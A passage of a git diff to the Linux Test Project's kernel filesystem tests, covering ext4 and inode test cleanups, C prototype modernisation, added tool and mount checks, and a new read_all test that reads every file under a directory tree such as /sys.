 					"Reached %ld filesize which is almost %ld limit.",
-					curr_size, ext2_limit);
+					curr_size, fs_limit);
 				stop = 1;
 				continue;
 			}
diff --git a/testcases/kernel/fs/doio/rwtest b/testcases/kernel/fs/doio/rwtest
index 90b1658..6725e14 100644
--- a/testcases/kernel/fs/doio/rwtest
+++ b/testcases/kernel/fs/doio/rwtest
@@ -344,7 +344,7 @@
 
 			# check if blks is a number, else set a default value for blks
 			default_sz=1000000
-			if [ $blks -eq $blks 2> /dev/null ]
+			if [ $blks -eq $blks 2> /dev/null -a $blks -gt 0 ]
 			then
 
 				case $(uname) in
diff --git a/testcases/kernel/fs/ext4-new-features/ext4-delalloc-mballoc/ext4-alloc-test.sh b/testcases/kernel/fs/ext4-new-features/ext4-delalloc-mballoc/ext4-alloc-test.sh
index a5215bd..25ebdaf 100755
--- a/testcases/kernel/fs/ext4-new-features/ext4-delalloc-mballoc/ext4-alloc-test.sh
+++ b/testcases/kernel/fs/ext4-new-features/ext4-delalloc-mballoc/ext4-alloc-test.sh
@@ -117,7 +117,7 @@
 # main
 ext4_setup
 
-tst_check_cmds ffsb
+tst_test_cmds ffsb
 
 DELALLOC=( "delalloc" "nodelalloc" )
 DIRECT_IO=( 0 1 )
diff --git a/testcases/kernel/fs/ext4-new-features/ext4-journal-checksum/ext4_journal_checksum.sh b/testcases/kernel/fs/ext4-new-features/ext4-journal-checksum/ext4_journal_checksum.sh
index 2f357d8..9edb893 100755
--- a/testcases/kernel/fs/ext4-new-features/ext4-journal-checksum/ext4_journal_checksum.sh
+++ b/testcases/kernel/fs/ext4-new-features/ext4-journal-checksum/ext4_journal_checksum.sh
@@ -94,7 +94,7 @@
 # main
 ext4_setup
 
-tst_check_cmds ffsb
+tst_test_cmds ffsb
 
 DATA=( "writeback" "ordered" "journal" )
 COMMIT=( 1 100 )
diff --git a/testcases/kernel/fs/ext4-new-features/ext4-nsec-timestamps/ext4_nsec_timestamps_test.sh b/testcases/kernel/fs/ext4-new-features/ext4-nsec-timestamps/ext4_nsec_timestamps_test.sh
index c6ff7c2..762b8dd 100755
--- a/testcases/kernel/fs/ext4-new-features/ext4-nsec-timestamps/ext4_nsec_timestamps_test.sh
+++ b/testcases/kernel/fs/ext4-new-features/ext4-nsec-timestamps/ext4_nsec_timestamps_test.sh
@@ -1,4 +1,4 @@
-#!/bin/bash
+#!/bin/sh
 
 ################################################################################
 ##                                                                            ##
@@ -56,15 +56,10 @@
 	if [ $atime -ne 0 -o $mtime -ne 0 -o $ctime -ne 0 ]; then
 		tst_resm TFAIL "Timestamp is not second(atime: $atime, mtime: \
 				$mtime, ctime: $ctime)"
-		umount mnt_point
+		tst_umount mnt_point
 		return
 	fi
-
-	umount mnt_point
-	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "failed to umount ext4 filesystem"
-		return
-	fi
+	tst_umount mnt_point
 
 	tst_resm TPASS "Ext4 nanosecond timestamps test with 128 inode size pass"
 }
@@ -76,7 +71,7 @@
 
 	mkfs.ext3 -I 256 $EXT4_DEV >/dev/null 2>&1
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "failed to create ext4 filesystem"
+		tst_resm TFAIL "failed to create ext3 filesystem"
 		return
 	fi
 
@@ -105,10 +100,9 @@
 	nsec_ctime=`ext4_file_time mnt_point/tmp_file ctime nsec`
 
 	# Test nanosecond
-	if [ $nsec_atime -eq 0 -a $nsec_mtime -eq 0 -a $nsec_ctime -eq 0 ]
-	then
+	if [ $nsec_atime -eq 0 -a $nsec_mtime -eq 0 -a $nsec_ctime -eq 0 ]; then
 		tst_resm TFAIL "The timestamp is not nanosecond(nsec_atime: $nsec_atime, nsec_mtime: $nsec_mtime, nsec_ctime: $nsec_ctime)"
-		umount mnt_point
+		tst_umount mnt_point
 		return
 	fi
 
@@ -122,15 +116,11 @@
 			than the current time we got.(sec_atime: $sec_atime, \
 			sec_mtime: $sec_mtime, sec_ctime: $sec_ctime, \
 			cur_time[s]: $sec)"
-		umount mnt_point
+		tst_umount mnt_point
 		return
 	fi
 
-	umount mnt_point
-	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "failed to umount ext4 filesystem"
-		return
-	fi
+	tst_umount mnt_point
 
 	# Test mount to ext3 and then mount back to ext4
 	mount -t ext3 $EXT4_DEV mnt_point
@@ -138,7 +128,7 @@
 		tst_resm TFAIL "failed to mount to ext3"
 		return
 	fi
-	umount mnt_point
+	tst_umount mnt_point
 
 	mount -t ext4 $EXT4_DEV mnt_point
 	if [ $? -ne 0 ]; then
@@ -148,7 +138,7 @@
 
 	nsec_atime2=`ext4_file_time mnt_point/tmp_file atime nsec`
 	nsec_mtime2=`ext4_file_time mnt_point/tmp_file mtime nsec`
-	nsec_ctime2=`ext4_file_time mnt_point/tmp_file mtime nsec`
+	nsec_ctime2=`ext4_file_time mnt_point/tmp_file ctime nsec`
 
 	if [ $nsec_atime -ne $nsec_atime2 -o $nsec_ctime -ne $nsec_ctime2 -o \
 	     $nsec_mtime -ne $nsec_mtime2 ]; then
@@ -156,11 +146,11 @@
 			unexpected. Before[atime mtime ctime]: $nsec_atime \
 			$nsec_mtime $nsec_ctime, After[atime mtime ctime]: \
 			$nsec_atime2 $nsec_mtime2 $nsec_ctime2)"
-		umount mnt_point
+		tst_umount mnt_point
 		return
 	fi
 
-	umount mnt_point
+	tst_umount mnt_point
 	tst_resm TPASS "Ext4 nanosecond timestamps test with 256 inode size pass"
 }
 
diff --git a/testcases/kernel/fs/ext4-new-features/ext4-online-defrag/ext4_online_defrag_test.sh b/testcases/kernel/fs/ext4-new-features/ext4-online-defrag/ext4_online_defrag_test.sh
index ab450a8..11261e4 100755
--- a/testcases/kernel/fs/ext4-new-features/ext4-online-defrag/ext4_online_defrag_test.sh
+++ b/testcases/kernel/fs/ext4-new-features/ext4-online-defrag/ext4_online_defrag_test.sh
@@ -35,7 +35,7 @@
 DIR=2
 FILESYSTEM=3
 
-tst_check_cmds e4defrag
+tst_test_cmds e4defrag
 E4DEFRAG=`which e4defrag`
 
 age_filesystem()
@@ -161,7 +161,7 @@
 # main
 ext4_setup
 
-tst_check_cmds ffsb
+tst_test_cmds ffsb
 
 DEFRAG=( $FILE $DIR $FILESYSTEM )
 AGING=( $EMPTY $SMALL $LARGE )
diff --git a/testcases/kernel/fs/ext4-new-features/ext4-uninit-groups/ext4_uninit_groups_test.sh b/testcases/kernel/fs/ext4-new-features/ext4-uninit-groups/ext4_uninit_groups_test.sh
index 1b0e00b..d39afae 100755
--- a/testcases/kernel/fs/ext4-new-features/ext4-uninit-groups/ext4_uninit_groups_test.sh
+++ b/testcases/kernel/fs/ext4-new-features/ext4-uninit-groups/ext4_uninit_groups_test.sh
@@ -114,7 +114,7 @@
 # main
 ext4_setup
 
-tst_check_cmds ffsb
+tst_test_cmds ffsb
 
 ORLOV=( "orlov" "oldalloc" )
 DELALLOC=( "delalloc" "nodelalloc" )
diff --git a/testcases/kernel/fs/ext4-new-features/ext4_funcs.sh b/testcases/kernel/fs/ext4-new-features/ext4_funcs.sh
index a9eb54e..340b2db 100755
--- a/testcases/kernel/fs/ext4-new-features/ext4_funcs.sh
+++ b/testcases/kernel/fs/ext4-new-features/ext4_funcs.sh
@@ -45,6 +45,9 @@
 		tst_brkm TCONF "tests need a big block device(5G-10G)"
 	else
 		export EXT4_DEV=$LTP_BIG_DEV
+		if mount | cut -d' ' -f1 | grep -q ^$EXT4_DEV$; then
+			tst_brkm TBROK "$EXT4_DEV should be umounted before test"
+		fi
 	fi
 
 	tst_tmpdir
diff --git a/testcases/kernel/fs/fsx-linux/fsx-linux.c b/testcases/kernel/fs/fsx-linux/fsx-linux.c
index ccf55fe..02f3eb8 100644
--- a/testcases/kernel/fs/fsx-linux/fsx-linux.c
+++ b/testcases/kernel/fs/fsx-linux/fsx-linux.c
@@ -128,10 +128,7 @@
 FILE *fsxlogf = NULL;
 int badoff = -1;
 
-void vwarnc(code, fmt, ap)
-int code;
-const char *fmt;
-va_list ap;
+void vwarnc(int code,const char *fmt, va_list ap)
 {
 	fprintf(stderr, "fsx: ");
 	if (fmt != NULL) {
@@ -913,7 +910,7 @@
 	}
 }
 
-void writefileimage()
+void writefileimage(void)
 {
 	ssize_t iret;
 	int fd = get_fd();
@@ -1038,8 +1035,7 @@
 		docloseopen();
 }
 
-void cleanup(sig)
-int sig;
+void cleanup(int sig)
 {
 	if (sig)
 		prt("signal %d\n", sig);
diff --git a/testcases/kernel/fs/ftest/ftest06.c b/testcases/kernel/fs/ftest/ftest06.c
index 2ca7c88..b434067 100644
--- a/testcases/kernel/fs/ftest/ftest06.c
+++ b/testcases/kernel/fs/ftest/ftest06.c
@@ -100,7 +100,7 @@
 int main(int ac, char *av[])
 {
 	int pid, child, status, count, k, j;
-	char name[3];
+	char name[MAXPATHLEN];
 
 	int lc;
 
diff --git a/testcases/kernel/fs/inode/inode01.c b/testcases/kernel/fs/inode/inode01.c
index 86c3b95..a7387e8 100644
--- a/testcases/kernel/fs/inode/inode01.c
+++ b/testcases/kernel/fs/inode/inode01.c
@@ -98,7 +98,7 @@
 
 int increment_name(), get_next_name(), mode(), escrivez();
 
-int main()
+int main(void)
 {
 	char root[16];		//as pids can get much longer
 	int gen_ret_val, ch_ret_val, level;
@@ -275,7 +275,7 @@
 	tst_exit();
 }
 
-int generate(string, level)
+int generate(char *string, int level)
 
 /****************************************/
 /*					*/
@@ -288,19 +288,19 @@
 /*   reached or an error occurs		*/
 /*					*/
 /****************************************/
-		/***************************/
-		/*                         */
-char string[];			/*  the directory path     */
-		/*  string below which a   */
-		/*  tree is generated      */
-		/*                         */
-		/***************************/
+/***************************/
+/*  string[]      	   */
+/*  the directory path     */
+/*  string below which a   */
+/*  tree is generated      */
+/*                         */
+/***************************/
 
-		/***************************/
-		/*                         */
-int level;			/* the tree depth variable */
-		/*                         */
-		/***************************/
+/***************************/
+/* level                   */
+/* the tree depth variable */
+/*                         */
+/***************************/
 {
 	int switch_flag;
 	int ret_val = 0;
@@ -453,7 +453,7 @@
 		return 0;
 }
 
-int check()
+int check(void)
 
 /****************************************/
 /*					*/
@@ -570,7 +570,7 @@
 	}			/* while */
 }
 
-int get_next_name()
+int get_next_name(void)
 
 /****************************************/
 /*					*/
@@ -607,7 +607,7 @@
 	return 0;
 }
 
-int increment_name(position)
+int increment_name(int position)
 
 /****************************************/
 /*					*/
@@ -616,7 +616,6 @@
 /*  next name				*/
 /*					*/
 /****************************************/
- int position;
 {
 	int next_position;
 
@@ -641,7 +640,7 @@
 				  /*********************************/
 }
 
-int mode(path_string)
+int mode(char *path_string)
 
 /****************************************/
 /*					*/
@@ -649,7 +648,6 @@
 /*   the file named by path_string 	*/
 /*					*/
 /****************************************/
- char path_string[];
 {
 	struct stat buf;
 	int ret_val, mod;
@@ -663,9 +661,7 @@
 	}
 }
 
-int escrivez(string)
-
-char string[];
+int escrivez(char *string)
 {
 	char write_string[PATH_STRING_LENGTH + 1];
 	int len, ret_len;
@@ -684,7 +680,7 @@
 	return 0;
 }
 
-int term()
+int term(void)
 {
 	int status;
 
@@ -713,7 +709,7 @@
  *
  * Do set up - here its a dummy function
  */
-void setup()
+void setup(void)
 {
 	tst_tmpdir();
 	temp = stderr;
@@ -728,7 +724,7 @@
 fail or
  *              pass.
  */
-void blexit()
+void blexit(void)
 {
 	(local_flag == PASSED) ? tst_resm(TPASS, "Test block %d", block_number)
 	    : tst_resm(TFAIL, "Test block %d", block_number);
@@ -741,7 +737,7 @@
  *
  * Description: Print message on entering a new block
  */
-void blenter()
+void blenter(void)
 {
 	local_flag = PASSED;
 	return;
@@ -752,7 +748,7 @@
  *
  * Exit on failure
  */
-void fail_exit()
+void fail_exit(void)
 {
 	tst_brkm(TFAIL, tst_rmdir, "Test failed");
 }
@@ -763,7 +759,7 @@
  *
  * Description: Exit a test.
  */
-void anyfail()
+void anyfail(void)
 {
 	(local_flag == FAILED) ? tst_resm(TFAIL, "Test failed")
 	    : tst_resm(TPASS, "Test passed");
@@ -776,7 +772,7 @@
  *
  * Calling block passed the test
  */
-void ok_exit()
+void ok_exit(void)
 {
 	local_flag = PASSED;
 	return;
diff --git a/testcases/kernel/fs/inode/inode02.c b/testcases/kernel/fs/inode/inode02.c
index 78495ec..85598b2 100644
--- a/testcases/kernel/fs/inode/inode02.c
+++ b/testcases/kernel/fs/inode/inode02.c
@@ -110,9 +110,7 @@
 int TST_TOTAL = 1;		/* Total number of test cases. */
 /**************/
 
-int main(argc, argv)
-int argc;
-char *argv[];
+int main(int argc, char *argv[])
 {
 	int pid, tree(), p, status;
 	int count, child;
@@ -216,8 +214,7 @@
 	tst_exit();
 }
 
-int bd_arg(str)
-char *str;
+int bd_arg(char *str)
 {
 	fprintf(temp,
 		"Bad argument - %s - could not parse as number.\n\tinode02 [max_depth] [max_breadth] [file_length] [#children]\n\tdefault: inode02 6 5 8 5\n",
@@ -225,7 +222,7 @@
 	exit(1);
 }
 
-int tree()
+int tree(void)
 
 /************************************************/
 /*						*/
@@ -375,7 +372,7 @@
 	exit(exit_val);
 }
 
-int generate(string, level)
+int generate(char *string, int level)
 
 /****************************************/
 /*					*/
@@ -388,19 +385,19 @@
 /*   reached or an error occurs		*/
 /*					*/
 /****************************************/
-		/***************************/
-		/*                         */
-char string[];			/*  the directory path     */
-		/*  string below which a   */
-		/*  tree is generated      */
-		/*                         */
-		/***************************/
+/***************************/
+/*  string:                */
+/*  the directory path     */
+/*  string below which a   */
+/*  tree is generated      */
+/*                         */
+/***************************/
 
-		/***************************/
-		/*                         */
-int level;			/* the tree depth variable */
-		/*                         */
-		/***************************/
+/***************************/
+/* level:                  */
+/* the tree depth variable */
+/*                         */
+/***************************/
 {
 	int switch_flag;
 	int ret_val = 0;
@@ -557,7 +554,7 @@
 		return 0;
 }
 
-int check()
+int check(void)
 
 /****************************************/
 /*					*/
@@ -675,7 +672,7 @@
 	}			/* while */
 }
 
-int get_next_name()
+int get_next_name(void)
 
 /****************************************/
 /*					*/
@@ -712,7 +709,7 @@
 	return 0;
 }
 
-int increment_name(position)
+int increment_name(int position)
 
 /****************************************/
 /*					*/
@@ -721,7 +718,6 @@
 /*  next name				*/
 /*					*/
 /****************************************/
- int position;
 {
 	int next_position;
 
@@ -746,7 +742,7 @@
 				  /*********************************/
 }
 
-int mode(path_string)
+int mode(char *path_string)
 
 /****************************************/
 /*					*/
@@ -754,7 +750,6 @@
 /*   the file named by path_string 	*/
 /*					*/
 /****************************************/
- char path_string[];
 {
 	struct stat buf;
 	int ret_val, mod;
@@ -768,9 +763,7 @@
 	}
 }
 
-int escrivez(string)
-
-char string[];
+int escrivez(char *string)
 {
 	char write_string[PATH_STRING_LENGTH + 1];
 	int len, ret_len;
@@ -789,7 +782,7 @@
 	return 0;
 }
 
-int term()
+int term(void)
 {
 	int status;
 
@@ -814,7 +807,7 @@
 	return 0;
 }
 
-int massmurder()
+int massmurder(void)
 {
 	int i;
 	for (i = 0; i < MAXCHILD; i++) {
@@ -831,7 +824,7 @@
  *
  * Do set up - here its a dummy function
  */
-void setup()
+void setup(void)
 {
 	tst_tmpdir();
 	temp = stderr;
@@ -842,7 +835,7 @@
  *
  * Exit on failure
  */
-void fail_exit()
+void fail_exit(void)
 {
 	tst_brkm(TFAIL, tst_rmdir, "Test failed\n");
 }
@@ -853,7 +846,7 @@
  *
  * Description: Exit a test.
  */
-void anyfail()
+void anyfail(void)
 {
 	(local_flag == FAILED) ? tst_resm(TFAIL, "Test failed")
 	    : tst_resm(TPASS, "Test passed");
@@ -866,7 +859,7 @@
  *
  * Calling block passed the test
  */
-void ok_exit()
+void ok_exit(void)
 {
 	local_flag = PASSED;
 	return;
@@ -877,7 +870,7 @@
  *
  * exit on failure
  */
-void forkfail()
+void forkfail(void)
 {
 	tst_brkm(TBROK, tst_rmdir, "Reason: %s\n", strerror(errno));
 }
@@ -901,7 +894,7 @@
  * Assume that we are always running under stress, so this function will
  * return > 0 value always.
  */
-int instress()
+int instress(void)
 {
 	tst_resm(TINFO, "System resource may be too low, fork() malloc()"
 		 " etc are likely to fail.\n");
diff --git a/testcases/kernel/fs/iso9660/isofs.sh b/testcases/kernel/fs/iso9660/isofs.sh
index 0710303..71eb35b 100755
--- a/testcases/kernel/fs/iso9660/isofs.sh
+++ b/testcases/kernel/fs/iso9660/isofs.sh
@@ -102,7 +102,7 @@
 # Make ISO9660 file system with different options.
 # Mount the ISO9660 file system with different mount options.
 
-tst_check_cmds mkisofs
+tst_test_cmds mkisofs
 
 for mkisofs_opt in \
 	" " \
@@ -110,8 +110,8 @@
 	"-hfs -D" \
 	" -R " \
 	"-R -J" \
-	"-f -l -D -J -L -R" \
-	"-allow-lowercase -allow-multidot -iso-level 3 -f -l -D -J -L -R"
+	"-f -l -D -J -allow-leading-dots -R" \
+	"-allow-lowercase -allow-multidot -iso-level 3 -f -l -D -J -allow-leading-dots -R"
 do
 	rm -f isofs.iso
 	mkisofs -o isofs.iso -quiet $mkisofs_opt $MAKE_FILE_SYS_DIR 2> /dev/null
diff --git a/testcases/kernel/fs/mongo/README b/testcases/kernel/fs/mongo/README
index 3c72ae0..a134305 100644
--- a/testcases/kernel/fs/mongo/README
+++ b/testcases/kernel/fs/mongo/README
@@ -12,7 +12,7 @@
 The benchmark will be performed on given device with
 reiserfs and ext2. Then results will be compared.
 
-The relults directory : ./results
+The results directory : ./results
 The comparision *.html and *.txt files in ./results/html
 
 Warning : All info will be erased on device.
diff --git a/testcases/kernel/fs/quota_remount/quota_remount_test01.sh b/testcases/kernel/fs/quota_remount/quota_remount_test01.sh
index 24f41ae..04b7af9 100755
--- a/testcases/kernel/fs/quota_remount/quota_remount_test01.sh
+++ b/testcases/kernel/fs/quota_remount/quota_remount_test01.sh
@@ -58,6 +58,16 @@
         exit 0
 fi
 
+if ! command -v quotacheck > /dev/null 2>&1; then
+	tst_resm TCONF "'quotacheck' not found"
+	exit 0
+fi
+
+if ! command -v quotaon > /dev/null 2>&1; then
+	tst_resm TCONF "'quotaon' not found"
+	exit 0
+fi
+
 die()
 {
 	echo >&2 $2
diff --git a/testcases/kernel/fs/read_all/.gitignore b/testcases/kernel/fs/read_all/.gitignore
new file mode 100644
index 0000000..ac2f6ae
--- /dev/null
+++ b/testcases/kernel/fs/read_all/.gitignore
@@ -0,0 +1 @@
+read_all
diff --git a/testcases/kernel/fs/read_all/Makefile b/testcases/kernel/fs/read_all/Makefile
new file mode 100644
index 0000000..5416b23
--- /dev/null
+++ b/testcases/kernel/fs/read_all/Makefile
@@ -0,0 +1,22 @@
+# Copyright (c) 2017 Linux Test Project
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+CFLAGS			+= -D_GNU_SOURCE -pthread
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/fs/read_all/read_all.c b/testcases/kernel/fs/read_all/read_all.c
new file mode 100644
index 0000000..1f0b315
--- /dev/null
+++ b/testcases/kernel/fs/read_all/read_all.c
@@ -0,0 +1,439 @@
+/*
+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * Perform a small read on every file in a directory tree.
+ *
+ * Useful for testing file systems like proc, sysfs and debugfs or anything
+ * which exposes a file like API so long as it respects O_NONBLOCK. This test
+ * is not concerned if a particular file in one of these file systems conforms
+ * exactly to its specific documented behavior. Just whether reading from that
+ * file causes a serious error such as a NULL pointer dereference.
+ *
+ * It is not required to run this as root, but test coverage will be much
+ * higher with full privileges.
+ *
+ * The reads are preformed by worker processes which are given file paths by a
+ * single parent process. The parent process recursively scans a given
+ * directory and passes the file paths it finds to the child processes using a
+ * queue structure stored in shared memory.
+ *
+ * This allows the file system and individual files to be accessed in
+ * parallel. Passing the 'reads' parameter (-r) will encourage this. The
+ * number of worker processes is based on the number of available
+ * processors. However this is limited by default to 15 to avoid this becoming
+ * an IPC stress test on systems with large numbers of weak cores. This can be
+ * overridden with the 'w' parameters.
+ */
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <lapi/fnmatch.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <errno.h>
+#include <unistd.h>
+#include <string.h>
+#include <limits.h>
+#include <fnmatch.h>
+#include <semaphore.h>
+#include <ctype.h>
+#include <pwd.h>
+#include <grp.h>
+
+#include "tst_test.h"
+
+#define QUEUE_SIZE 16384
+#define BUFFER_SIZE 1024
+#define MAX_PATH 4096
+#define MAX_DISPLAY 40
+
+struct queue {
+	sem_t sem;
+	int front;
+	int back;
+	char data[QUEUE_SIZE];
+};
+
+struct worker {
+	pid_t pid;
+	struct queue *q;
+};
+
+enum dent_action {
+	DA_UNKNOWN,
+	DA_IGNORE,
+	DA_READ,
+	DA_VISIT,
+};
+
+static char *verbose;
+static char *quiet;
+static char *root_dir;
+static char *exclude;
+static char *str_reads;
+static int reads = 1;
+static char *str_worker_count;
+static long worker_count;
+static char *str_max_workers;
+static long max_workers = 15;
+static struct worker *workers;
+static char *drop_privs;
+
+static struct tst_option options[] = {
+	{"v", &verbose,
+	 "-v       Print information about successful reads."},
+	{"q", &quiet,
+	 "-q       Don't print file read or open errors."},
+	{"d:", &root_dir,
+	 "-d path  Path to the directory to read from, defaults to /sys."},
+	{"e:", &exclude,
+	 "-e pattern Ignore files which match an 'extended' pattern, see fnmatch(3)."},
+	{"r:", &str_reads,
+	 "-r count The number of times to schedule a file for reading."},
+	{"w:", &str_max_workers,
+	 "-w count Set the worker count limit, the default is 15."},
+	{"W:", &str_worker_count,
+	 "-W count Override the worker count. Ignores (-w) and the processor count."},
+	{"p", &drop_privs,
+	 "-p       Drop privileges; switch to the nobody user."},
+	{NULL, NULL, NULL}
+};
+
+static int queue_pop(struct queue *q, char *buf)
+{
+	int i = q->front, j = 0;
+
+	sem_wait(&q->sem);
+
+	if (!q->data[i])
+		return 0;
+
+	while (q->data[i]) {
+		buf[j] = q->data[i];
+
+		if (++j >= BUFFER_SIZE - 1)
+			tst_brk(TBROK, "Buffer is too small for path");
+		if (++i >= QUEUE_SIZE)
+			i = 0;
+	}
+
+	buf[j] = '\0';
+	tst_atomic_store(i + 1, &q->front);
+
+	return 1;
+}
+
+static int queue_push(struct queue *q, const char *buf)
+{
+	int i = q->back, j = 0;
+	int front = tst_atomic_load(&q->front);
+
+	do {
+		q->data[i] = buf[j];
+
+		if (++i >= QUEUE_SIZE)
+			i = 0;
+		if (i == front)
+			return 0;
+
+	} while (buf[j++]);
+
+	q->back = i;
+	sem_post(&q->sem);
+
+	return 1;
+}
+
+static struct queue *queue_init(void)
+{
+	struct queue *q = SAFE_MMAP(NULL, sizeof(*q),
+				    PROT_READ | PROT_WRITE,
+				    MAP_SHARED | MAP_ANONYMOUS,
+				    0, 0);
+
+	sem_init(&q->sem, 1, 0);
+	q->front = 0;
+	q->back = 0;
+
+	return q;
+}
+
+static void queue_destroy(struct queue *q, int is_worker)
+{
+	if (is_worker)
+		sem_destroy(&q->sem);
+
+	SAFE_MUNMAP(q, sizeof(*q));
+}
+
+static void sanitize_str(char *buf, ssize_t count)
+{
+	int i;
+
+	for (i = 0; i < MIN(count, MAX_DISPLAY); i++)
+		if (!isprint(buf[i]))
+			buf[i] = ' ';
+
+	if (count <= MAX_DISPLAY)
+		buf[count] = '\0';
+	else
+		strcpy(buf + MAX_DISPLAY, "...");
+}
+
+static void read_test(const char *path)
+{
+	char buf[BUFFER_SIZE];
+	int fd;
+	ssize_t count;
+
+	if (exclude && !fnmatch(exclude, path, FNM_EXTMATCH)) {
+		if (verbose)
+			tst_res(TINFO, "Ignoring %s", path);
+		return;
+	}
+
+	if (verbose)
+		tst_res(TINFO, "%s(%s)", __func__, path);
+
+	fd = open(path, O_RDONLY | O_NONBLOCK);
+	if (fd < 0) {
+		if (!quiet)
+			tst_res(TINFO | TERRNO, "open(%s)", path);
+		return;
+	}
+
+	count = read(fd, buf, sizeof(buf) - 1);
+	if (count > 0 && verbose) {
+		sanitize_str(buf, count);
+		tst_res(TINFO, "read(%s, buf) = %zi, buf = %s",
+			path, count, buf);
+	} else if (!count && verbose) {
+		tst_res(TINFO, "read(%s) = EOF", path);
+	} else if (count < 0 && !quiet) {
+		tst_res(TINFO | TERRNO, "read(%s)", path);
+	}
+
+	SAFE_CLOSE(fd);
+}
+
+static int worker_run(struct worker *self)
+{
+	char buf[BUFFER_SIZE];
+	struct sigaction term_sa = {
+		.sa_handler = SIG_IGN,
+		.sa_flags = 0,
+	};
+	struct queue *q = self->q;
+
+	sigaction(SIGTTIN, &term_sa, NULL);
+
+	while (1) {
+		if (!queue_pop(q, buf))
+			break;
+
+		read_test(buf);
+	}
+
+	queue_destroy(q, 1);
+	tst_flush();
+	return 0;
+}
+
+static void maybe_drop_privs(void)
+{
+	struct passwd *nobody;
+
+	if (!drop_privs)
+		return;
+
+	TEST(setgroups(0, NULL));
+	if (TST_RET < 0 && TST_ERR != EPERM) {
+		tst_brk(TBROK | TTERRNO,
+			"Failed to clear suplementary group set");
+	}
+
+	nobody = SAFE_GETPWNAM("nobody");
+
+	TEST(setgid(nobody->pw_gid));
+	if (TST_RET < 0 && TST_ERR != EPERM)
+		tst_brk(TBROK | TTERRNO, "Failed to use nobody gid");
+
+	TEST(setuid(nobody->pw_uid));
+	if (TST_RET < 0 && TST_ERR != EPERM)
+		tst_brk(TBROK | TTERRNO, "Failed to use nobody uid");
+}
+
+static void spawn_workers(void)
+{
+	int i;
+	struct worker *wa = workers;
+
+	bzero(workers, worker_count * sizeof(*workers));
+
+	for (i = 0; i < worker_count; i++) {
+		wa[i].q = queue_init();
+		wa[i].pid = SAFE_FORK();
+		if (!wa[i].pid) {
+			maybe_drop_privs();
+			exit(worker_run(wa + i));
+		}
+	}
+}
+
+static void stop_workers(void)
+{
+	const char stop_code[1] = { '\0' };
+	int i;
+
+	if (!workers)
+		return;
+
+	for (i = 0; i < worker_count; i++) {
+		if (workers[i].q)
+			TST_RETRY_FUNC(queue_push(workers[i].q, stop_code), 1);
+	}
+
+	for (i = 0; i < worker_count; i++) {
+		if (workers[i].q) {
+			queue_destroy(workers[i].q, 0);
+			workers[i].q = 0;
+		}
+	}
+}
+
+static void rep_sched_work(const char *path, int rep)
+{
+	int i, j;
+
+	for (i = j = 0; i < rep; i++, j++) {
+		if (j >= worker_count)
+			j = 0;
+		TST_RETRY_FUNC(queue_push(workers[j].q, path), 1);
+	}
+}
+
+static void setup(void)
+{
+	if (tst_parse_int(str_reads, &reads, 1, INT_MAX))
+		tst_brk(TBROK,
+			"Invalid reads (-r) argument: '%s'", str_reads);
+
+	if (tst_parse_long(str_max_workers, &max_workers, 1, LONG_MAX)) {
+		tst_brk(TBROK,
+			"Invalid max workers (-w) argument: '%s'",
+			str_max_workers);
+	}
+
+	if (tst_parse_long(str_worker_count, &worker_count, 1, LONG_MAX)) {
+		tst_brk(TBROK,
+			"Invalid worker count (-W) argument: '%s'",
+			str_worker_count);
+	}
+
+	if (!root_dir)
+		tst_brk(TBROK, "The directory argument (-d) is required");
+
+	if (!worker_count)
+		worker_count = MIN(MAX(tst_ncpus() - 1, 1), max_workers);
+	workers = SAFE_MALLOC(worker_count * sizeof(*workers));
+}
+
+static void cleanup(void)
+{
+	stop_workers();
+	free(workers);
+}
+
+static void visit_dir(const char *path)
+{
+	DIR *dir;
+	struct dirent *dent;
+	struct stat dent_st;
+	char dent_path[MAX_PATH];
+	enum dent_action act;
+
+	dir = opendir(path);
+	if (!dir) {
+		tst_res(TINFO | TERRNO, "opendir(%s)", path);
+		return;
+	}
+
+	while (1) {
+		errno = 0;
+		dent = readdir(dir);
+		if (!dent && errno) {
+			tst_res(TINFO | TERRNO, "readdir(%s)", path);
+			break;
+		} else if (!dent) {
+			break;
+		}
+
+		if (!strcmp(dent->d_name, ".") ||
+		    !strcmp(dent->d_name, ".."))
+			continue;
+
+		if (dent->d_type == DT_DIR)
+			act = DA_VISIT;
+		else if (dent->d_type == DT_LNK)
+			act = DA_IGNORE;
+		else if (dent->d_type == DT_UNKNOWN)
+			act = DA_UNKNOWN;
+		else
+			act = DA_READ;
+
+		snprintf(dent_path, MAX_PATH,
+			 "%s/%s", path, dent->d_name);
+
+		if (act == DA_UNKNOWN) {
+			if (lstat(dent_path, &dent_st))
+				tst_res(TINFO | TERRNO, "lstat(%s)", path);
+			else if ((dent_st.st_mode & S_IFMT) == S_IFDIR)
+				act = DA_VISIT;
+			else if ((dent_st.st_mode & S_IFMT) == S_IFLNK)
+				act = DA_IGNORE;
+			else
+				act = DA_READ;
+		}
+
+		if (act == DA_VISIT)
+			visit_dir(dent_path);
+		else if (act == DA_READ)
+			rep_sched_work(dent_path, reads);
+	}
+
+	if (closedir(dir))
+		tst_res(TINFO | TERRNO, "closedir(%s)", path);
+}
+
